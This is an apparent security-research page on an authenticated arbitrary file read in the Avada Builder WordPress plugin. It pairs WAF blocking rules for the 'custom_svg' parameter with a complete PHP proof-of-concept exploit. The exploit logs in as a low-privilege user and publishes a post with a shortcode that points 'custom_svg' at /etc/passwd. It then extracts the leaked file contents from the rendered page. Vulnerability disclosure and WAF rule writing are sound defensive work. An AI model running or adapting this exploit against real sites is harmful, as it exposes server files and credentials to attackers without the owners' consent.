CVE-2026-4782: Avada Builder <= 3.15.2 – Authenticated (Subscriber+) Arbitrary File Read via 'custom_svg' Shortcode Parameter (fusion-builder)

# Atomic Edge WAF Rule - CVE-2026-4782 (metadata-based)
# Blocks exploitation attempt via AJAX or direct shortcode injection by matching the 'custom_svg' parameter with absolute path patterns
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264782,phase:2,deny,status:403,chain,msg:'CVE-2026-4782 Avada Builder Arbitrary File Read via custom_svg',severity:'CRITICAL',tag:'CVE-2026-4782'"
  SecRule ARGS_POST:action "@rx ^fusion_section_separator$" "chain"
    SecRule ARGS_POST:custom_svg "@rx ^/" "t:none,chain"
      SecRule ARGS_POST:custom_svg "@rx ../" "t:none"

# Also block direct shortcode injection via post content or GET parameters
SecRule ARGS:custom_svg "@rx ^/" 
  "id:20264783,phase:2,deny,status:403,chain,msg:'CVE-2026-4782 Avada Builder Arbitrary File Read via custom_svg',severity:'CRITICAL',tag:'CVE-2026-4782'"
  SecRule ARGS:custom_svg "@rx ../" "t:none"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4782 - Avada Builder <= 3.15.2 - Authenticated (Subscriber+) Arbitrary File Read via 'custom_svg' Shortcode Parameter

// This PoC demonstrates file reading by injecting a shortcode with a crafted 'custom_svg' parameter.
// It assumes the vulnerable plugin processes shortcodes on pages/posts. The attacker must have at least Subscriber role.

<?php

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL
$username = 'attacker';             // CHANGE THIS to a valid subscriber username
$password = 'attacker_password';    // CHANGE THIS to the user's password

// Step 1: Login to get cookies and nonces
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die("Login failed. Check credentials.n");
}

echo "[+] Logged in successfully.n";

// Step 2: Create a new post with the malicious shortcode
// The shortcode 'fusion_section_separator' with 'custom_svg' parameter triggers the file read.
$admin_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract _wpnonce from the page
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
    die("Failed to retrieve nonce.n");
}

echo "[+] Got nonce: $noncen";

// Step 3: Submit the post with the shortcode
$post_data = array(
    '_wpnonce' => $nonce,
    'post_status' => 'publish',
    'post_title' => 'CVE-2026-4782 PoC',
    'content' => '[fusion_section_separator custom_svg="/etc/passwd"]',
    'post_type' => 'post'
);

$post_url = $target_url . '/wp-admin/post.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Fetch the published post to see if file contents are exposed
preg_match('/"post_id">(d+)/', $response, $id_matches);
$post_id = $id_matches[1] ?? '';
if (empty($post_id)) {
    die("Failed to retrieve post ID.n");
}

echo "[+] Post created with ID: $post_idn";

$post_permalink = $target_url . '/?p=' . $post_id;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_permalink);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$page_content = curl_exec($ch);
curl_close($ch);

// Check if /etc/passwd content appears in response
if (strpos($page_content, 'root:') !== false) {
    echo "[+] Success! File contents detected in the response.n";
    // Extract and display the file content (example only)
    preg_match('/(?:<div[^>]*>)?(root:[^<]*)/', $page_content, $content_match);
    if (!empty($content_match[1])) {
        echo "Extracted content: " . $content_match[1] . "n";
    }
} else {
    echo "[-] File contents not found in response. The vulnerability may require a different parameter or the target is patched.n";
    echo "Response snippet: " . substr($page_content, 0, 500) . "n";
}

// Cleanup: Delete the cookies file
unlink('/tmp/cookies.txt');
?>